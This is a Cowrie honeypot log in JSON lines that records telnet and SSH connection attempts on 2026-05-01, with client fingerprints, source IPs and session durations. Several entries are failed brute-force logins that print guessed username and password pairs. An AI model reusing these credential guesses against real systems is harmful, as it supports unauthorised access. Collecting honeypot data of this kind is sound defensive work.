{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":47676,"dst_ip":"159.203.135.109","dst_port":23,"session":"48359aeaafae","protocol":"telnet","message":"New connection: 213.129.84.225:47676 (159.203.135.109:23) [session: 48359aeaafae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:30.449610Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":38874,"dst_ip":"10.17.0.5","dst_port":23,"session":"335e127531d5","protocol":"telnet","message":"New connection: 137.184.155.248:38874 (10.17.0.5:23) [session: 335e127531d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:30.824529Z"}
{"eventid":"cowrie.session.closed","duration":30.217873334884644,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:32.045404Z","src_ip":"213.129.84.225","session":"e0151de2a7f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:32.183431Z","src_ip":"115.151.72.155","session":"724c28860a4c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.54.52.173","src_port":59874,"dst_ip":"10.17.0.5","dst_port":23,"session":"b8ed9e7561f7","protocol":"telnet","message":"New connection: 5.54.52.173:59874 (10.17.0.5:23) [session: b8ed9e7561f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:32.786899Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":60908,"dst_ip":"159.203.135.109","dst_port":23,"session":"102d4c331e9b","protocol":"telnet","message":"New connection: 213.129.84.225:60908 (159.203.135.109:23) [session: 102d4c331e9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:33.457589Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":53996,"dst_ip":"159.203.135.109","dst_port":23,"session":"528e36806093","protocol":"telnet","message":"New connection: 213.129.84.225:53996 (159.203.135.109:23) [session: 528e36806093]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:38.373646Z"}
{"eventid":"cowrie.session.closed","duration":31.08450484275818,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:38.529135Z","src_ip":"213.129.84.225","session":"eb554cdea25b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.623983144760132,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:40.091748Z","src_ip":"213.129.84.225","session":"aaf873c6beeb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":34398,"dst_ip":"159.203.135.109","dst_port":23,"session":"71b69a6cecbe","protocol":"telnet","message":"New connection: 213.129.84.225:34398 (159.203.135.109:23) [session: 71b69a6cecbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:40.430837Z"}
{"eventid":"cowrie.session.closed","duration":46.57873272895813,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:40.620571Z","src_ip":"137.184.155.248","session":"e25c3fda1d4e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.57192301750183,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:41.052548Z","src_ip":"213.129.84.225","session":"d60f9b73c255","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":39520,"dst_ip":"159.203.135.109","dst_port":23,"session":"73d25247e9ec","protocol":"telnet","message":"New connection: 213.129.84.225:39520 (159.203.135.109:23) [session: 73d25247e9ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:41.627787Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":45038,"dst_ip":"159.203.135.109","dst_port":23,"session":"47ed77c04140","protocol":"telnet","message":"New connection: 213.129.84.225:45038 (159.203.135.109:23) [session: 47ed77c04140]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:42.797076Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":36056,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b0c5564cf0b","protocol":"telnet","message":"New connection: 213.129.84.225:36056 (159.203.135.109:23) [session: 6b0c5564cf0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:43.810866Z"}
{"eventid":"cowrie.session.closed","duration":30.766340494155884,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:45.047720Z","src_ip":"213.129.84.225","session":"c60bd0a3ef04","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.244.39.232","src_port":43018,"dst_ip":"10.17.0.5","dst_port":22,"session":"63138e534269","protocol":"ssh","message":"New connection: 190.244.39.232:43018 (10.17.0.5:22) [session: 63138e534269]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:46.838507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:46.844200Z","src_ip":"190.244.39.232","session":"63138e534269","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:47.044114Z","src_ip":"190.244.39.232","session":"63138e534269","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"148.230.169.229","src_port":60480,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f85e235e8e0","protocol":"ssh","message":"New connection: 148.230.169.229:60480 (10.17.0.5:22) [session: 6f85e235e8e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:47.156230Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:47.163329Z","src_ip":"148.230.169.229","session":"6f85e235e8e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:47.224890Z","src_ip":"148.230.169.229","session":"6f85e235e8e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test@2022","message":"login attempt [test/test@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:47.478913Z","src_ip":"148.230.169.229","session":"6f85e235e8e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"dev","message":"login attempt [developer/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:47.842769Z","src_ip":"190.244.39.232","session":"63138e534269","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.114913940429688,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:48.077028Z","src_ip":"213.129.84.225","session":"c2762e9cf98a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.798420667648315,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:48.163066Z","src_ip":"213.129.84.225","session":"aa826cffe21e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":41380,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae82609bbe1b","protocol":"telnet","message":"New connection: 213.129.84.225:41380 (159.203.135.109:23) [session: ae82609bbe1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:48.271294Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:48.546873Z","src_ip":"148.230.169.229","session":"6f85e235e8e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.90.110.186","src_port":51610,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed4f60a8650f","protocol":"ssh","message":"New connection: 203.90.110.186:51610 (10.17.0.5:22) [session: ed4f60a8650f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:49.014496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:49.019301Z","src_ip":"203.90.110.186","session":"ed4f60a8650f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:49.049058Z","src_ip":"190.244.39.232","session":"63138e534269","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:49.243687Z","src_ip":"203.90.110.186","session":"ed4f60a8650f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":60640,"dst_ip":"159.203.135.109","dst_port":22,"session":"f71aa8005c90","protocol":"ssh","message":"New connection: 202.125.94.71:60640 (159.203.135.109:22) [session: f71aa8005c90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:49.344621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:49.348994Z","src_ip":"202.125.94.71","session":"f71aa8005c90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.448665380477905,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:49.445715Z","src_ip":"213.129.84.225","session":"d2a4f436df90","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:49.607939Z","src_ip":"202.125.94.71","session":"f71aa8005c90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"pass1234567","message":"login attempt [ubuntu/pass1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:50.167179Z","src_ip":"203.90.110.186","session":"ed4f60a8650f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdf1234@","message":"login attempt [root/asdf1234@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:50.675707Z","src_ip":"202.125.94.71","session":"f71aa8005c90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:51.393387Z","src_ip":"203.90.110.186","session":"ed4f60a8650f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:51.950782Z","src_ip":"202.125.94.71","session":"f71aa8005c90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.66362380981445,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:52.127354Z","src_ip":"213.129.84.225","session":"4fbf0452230c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":59136,"dst_ip":"159.203.135.109","dst_port":23,"session":"49199d7b4ee8","protocol":"telnet","message":"New connection: 213.129.84.225:59136 (159.203.135.109:23) [session: 49199d7b4ee8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:52.199778Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":54682,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2cad8498dbd","protocol":"telnet","message":"New connection: 213.129.84.225:54682 (159.203.135.109:23) [session: f2cad8498dbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:52.243697Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":34116,"dst_ip":"159.203.135.109","dst_port":23,"session":"4563777b6c9b","protocol":"telnet","message":"New connection: 213.129.84.225:34116 (159.203.135.109:23) [session: 4563777b6c9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:52.882283Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":34158,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e8b99f26b3d","protocol":"telnet","message":"New connection: 213.129.84.225:34158 (159.203.135.109:23) [session: 5e8b99f26b3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:52.896429Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":53760,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e9e70c437e6","protocol":"telnet","message":"New connection: 137.184.155.248:53760 (10.17.0.5:23) [session: 2e9e70c437e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:53.463072Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":36742,"dst_ip":"159.203.135.109","dst_port":23,"session":"1553aa1cd3c9","protocol":"telnet","message":"New connection: 213.129.84.225:36742 (159.203.135.109:23) [session: 1553aa1cd3c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:53.471276Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":38548,"dst_ip":"159.203.135.109","dst_port":23,"session":"3814c3849f1c","protocol":"telnet","message":"New connection: 213.129.84.225:38548 (159.203.135.109:23) [session: 3814c3849f1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:53.906358Z"}
{"eventid":"cowrie.session.closed","duration":31.097525119781494,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:55.756592Z","src_ip":"213.129.84.225","session":"80a1176d22d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":48924,"dst_ip":"159.203.135.109","dst_port":23,"session":"c25803a2ac4d","protocol":"telnet","message":"New connection: 213.129.84.225:48924 (159.203.135.109:23) [session: c25803a2ac4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:56.220816Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":52662,"dst_ip":"159.203.135.109","dst_port":23,"session":"472565fbdaf2","protocol":"telnet","message":"New connection: 213.129.84.225:52662 (159.203.135.109:23) [session: 472565fbdaf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:57.111391Z"}
{"eventid":"cowrie.session.closed","duration":30.92242121696472,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:13:58.351026Z","src_ip":"213.129.84.225","session":"dde6bcb3a154","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":37512,"dst_ip":"159.203.135.109","dst_port":23,"session":"ddf8423ee6d2","protocol":"telnet","message":"New connection: 213.129.84.225:37512 (159.203.135.109:23) [session: ddf8423ee6d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:00.045091Z"}
{"eventid":"cowrie.session.closed","duration":30.663504123687744,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:00.098518Z","src_ip":"213.129.84.225","session":"1aa6eba34bab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":34002,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f890df110ea","protocol":"telnet","message":"New connection: 213.129.84.225:34002 (159.203.135.109:23) [session: 1f890df110ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:00.279868Z"}
{"eventid":"cowrie.session.closed","duration":30.623178243637085,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:01.072674Z","src_ip":"213.129.84.225","session":"48359aeaafae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":56098,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e54895a3330","protocol":"telnet","message":"New connection: 213.129.84.225:56098 (159.203.135.109:23) [session: 7e54895a3330]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:04.158427Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.129.84.225","src_port":32882,"dst_ip":"159.203.135.109","dst_port":23,"session":"80d0c5948206","protocol":"telnet","message":"New connection: 213.129.84.225:32882 (159.203.135.109:23) [session: 80d0c5948206]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:05.322980Z"}
{"eventid":"cowrie.session.closed","duration":46.643346309661865,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:05.340750Z","src_ip":"137.184.155.248","session":"dfd71b24396c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.12617111206055,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:06.583635Z","src_ip":"213.129.84.225","session":"102d4c331e9b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"58.186.20.101","src_port":55020,"dst_ip":"10.17.0.5","dst_port":22,"session":"6fc389960ad3","protocol":"ssh","message":"New connection: 58.186.20.101:55020 (10.17.0.5:22) [session: 6fc389960ad3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:07.746656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:14:07.751989Z","src_ip":"58.186.20.101","session":"6fc389960ad3","protocol":"ssh"}
